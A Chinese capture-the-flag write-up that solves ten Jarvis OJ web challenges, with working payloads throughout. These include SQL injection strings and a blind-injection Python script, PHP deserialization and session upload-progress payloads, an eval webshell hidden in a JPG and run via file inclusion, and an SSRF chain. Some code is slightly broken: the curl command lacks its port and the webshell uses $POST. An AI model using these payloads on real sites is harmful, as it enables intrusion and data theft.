前言
一个挺不错的ctf平台:https://www.jarvisoj.com/
Jarivs Oj Web
0X01 PORT51
1 | 题目链接:http://web.jarvisoj.com:32770/ |
这里说要用本地端口为51来访问题目,这里用到一个命令curl
1 | curl –local-port http://web.jarvisoj.com:32770/ |
这里貌似题目服务器出了点问题,不弹出flag了,下面对curl做简单解释下。
1 | linux curl是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称url为下载工具。 |
1 | curl –local-port xxxxxxxx 强制使用本地端口访问xxxxx |
0x02 LOCALHOST
1 | 题目入口:http://web.jarvisoj.com:32774/ |
意思是要从本地主机访问题目,抓包添加:1
X-Forwarded-For: 127.0.0.1
0x03 Login
1 | 需要密码才能获得flag哦。 |
抓包后发现 response处有hint:1
http://p1vrkwaxt.bkt.clouddn.com/@_5%28J%5BOA50CF%28C2@8I07DT1.png
百度后可知是md5加密的sql注入,具体解释我博客有:
https://ntwyc2018.github.io/2018/01/27/md5%E4%B9%8Bsql%E6%B3%A8%E5%85%A5/
输入ffifdyop得到flag
0x04 神盾局的秘密
1 | 这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗? |
点开图片后发现URL如下:1
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==
可以猜想是文件包含,后面是一串base64码,解码后是shield.png
原理:利用base64访问任意文件
访问showing.php1
2
3
4
5
6
7
8
9
10
11
12<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
访问index.php1
2
3
4
5
6
7
8
9<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
访问shield.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
代码审计
flag在pctf.php文件里面,我们利用shield.php里面的$file,来构造一个序列化值,$filename=pctf.php,到了index.php实例化后反序列化,$x=readfile()读取pctf.php
首先在本地phpstudy搭建环境,两个文件如下:
test.php
1 | <?php |
shield.php
1 | <?php |
得到的序列值为:1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
最后构造payload如下:1
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
0x05 IN a mess
1 | 连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。 |
查看源代码发现index.phps文件. 访问后源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
典型的php绕过
- $data==”1112 is a nice lab!”
原理 file_get_contents(“php://input”) - id=(字母)
原理: php弱类型绕过 - b=%00111111
原理:eregi()可以用%00截断
最后的payload如下:
得到下一关的目录地址1
Come ON!!! {/^HT2mCpcvOLf}
发现url:id=1再测试后是个sql注入
进行一波检验可知sql绕过两点
- 空格绕过 可用/注释/绕过
参考链接 - 敏感字符的过滤 可用双写绕过
显示位为 3
爆出库名test
爆出表名content
爆出字段id,context,title
爆出字段内容(flag)
0x06 Chopper
1 | 小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗? |
一个很有学习价值的题目,这里猜测是用file_get_content编写
首先 本地phpstudy搭建三个php文件
1.php and 2.php如下:1
2
3<?php
echo file_get_contents("$_GET[a]");
?>
3.php代码如下:1
2
3<?php
echo `$_GET[360]`;
?>
构造payload如下:1
http://127.0.0.1/1.php?a=http://127.0.0.1/2.php?a=http://127.0.0.1/3.php?360=ping
同样地我也在本地测试了我的远程服务器上的一个文件,访问成功,这或许是一个姿势吧,据说叫啥url访问代理服务器,然后代理再访问另一个服务器
查看源代码有两个关键信息:1
2
3
4<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
<!--<script>alert('admin ip is 103.27.76.153')</script>-->
上面很明显的是另外一个代理
直接访问admin ip被禁止,再结合img的url,可以猜想是通过proxy.php来访问admin ip再去访问admin目录,最后构造的payload如下:1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
不知道为啥,这里仍然不行,貌似是服务器挂了或者被日了,这里结合别人的wp进行分析,接着发现robots.txt文件(可以直接扫出来),然后就是代码审计了
0x07 Easy Gallery
1 | "没有什么防护是一个漏洞解决不了的,如果有,那 |
这道题是个文件上传+文件包含的题目
尝试构造后缀名为jpg的文件上传,仍然上传失败,可以确定这个不仅对后缀名进行检测,还对文件头检测
这里我们可以将一句话木马插入一个图片中,准备好两个文件如下:
1.php:1
<?php eval($POST['c']); ?>
1.jpg(在网上找的图片)
在终端执行命令如下:1
copy 1.jpg/b+1.php/a hack.jpg
会生成一个带有一句话木马的图片hack.jpg,查看hack.jpg文本,可以发现一句话木马
然后上传,发现上传成功
然后来到这个页面view
可以看到刚刚上传的图片,查看源代码可以看到该图片的路径1
<img src="uploads/1527409880.jpg"/>
我们知道,带jpg格式的是无法执行php命令的,但我们可以利用这里的文件包含漏洞来执行里面木马命令
根据报错说多了一个.php,这里可以用%00截断,最后的payload为:1
http://web.jarvisoj.com:32785/index.php?page=uploads/1527409880.jpg%00
结果返回 You should not do it
说明后台可能对后台中的<?php ?>进行了过滤,换个一句话为:1
2
3<script language="php">
eval($POST["c"]);
</script>
再重复以上操作,利用文件包含访问这个图片,得到flag
一个挺不错的姿势,继续进步继续加油
0x08 Simple Injection
1 | 很简单的注入,大家试试? |
典型的SQL注入登录框
常见的登陆漏洞类型
同时验证用户名和密码1
2
3
4
5
6
7$sql = select * from users where username=$usernmae and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}
分步验证用户名、密码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
#对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}
} else {
echo "用户不存在";
}
这里经过不断测试可以知道是个分步验证用户名与密码1
2username=admin&password=1111 //返回密码错误
username=user&password=1111 //返回用户名错误
也就是说上面username注入语句正确的话会返回密码错误,反之返回用户名错误
1 | username=user'/**/or/**/1=1#&password=123456 |
返回密码错误,说明sql注入语句是正确的,后台只过滤了空格,用/1/绕过即可,接下来就是简单的写脚本爆数据库名爆表爆字段爆字段内容了,下面给出脚本.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#-*- coding:utf-8 -*-
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
def test(num,asc):
#data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(table_name)/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()),%s,1))>%s#'%(num,asc),'password':'111'} # 数据库为injection
#data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(column_name)/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name=\'admin\'),%s,1))>%s#'%(num,asc),'password':'111'}
data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(username)/*1*/from/*1*/injection.admin/*1*/where/*1*/table_schema=database()),%s,1))>%s#'%(num,asc),'password':'111'}
r = requests.post(url,data=data)
if '密码错误' in r.text:
return 1
else:
return 0
r = requests.post(url,data=data)
if '密码错误' in r.text:
return 1
else:
return 0
flag=''
for num in range(1,100):
for asc in range(1,255):
get = test(num,asc)
if get == 0:
flag += chr(asc)
print(flag)
break
得到的username为admin,得到的password是经过md5加密的,解密一下就好了,在登录框输入得到flag
0x09 api调用
1 | 请设法获得目标机器/home/ctf/flag.txt中的flag值。 |
查看源代码
据说是一种原理:xxe的漏洞
在JSON中玩转XXE攻击
Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的
这里比较简洁,是一个新姿势,稍后会博客写关于xxe漏洞的文章
0x10 PHPINFO
1 | 题目入口:http://web.jarvisoj.com:32784/ |
1 | <?php |
1 | ini_set('session.serialize_handler', 'php'); |
很明显的PHP Session 反序列化漏洞
根据代码的?phpinfo我们可以看到
首先第一行的session.serialize_handler默认为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
第三行的ession.upload_progress.enabled为On
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。
其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题
思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
这些代码在本地搞,然后抓包,修改filename的值1
2
3__FILE__ :被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径
dirname(__FILE__) 函数返回的是脚本所在在的路径。
下面构造序列化值1
2
3
4
5
6
7
8
9
10
11<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)))';
}
$obj = new OowoO();
echo serialize($obj);
echo '<br>';
$a = '|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";}';
echo serialize($a);
?>
加上|,而且考虑到转义问题,最终的payload为:1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";} |
这条可以爆出当前目录
最后通过file_get_contents()函数来读取文件1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag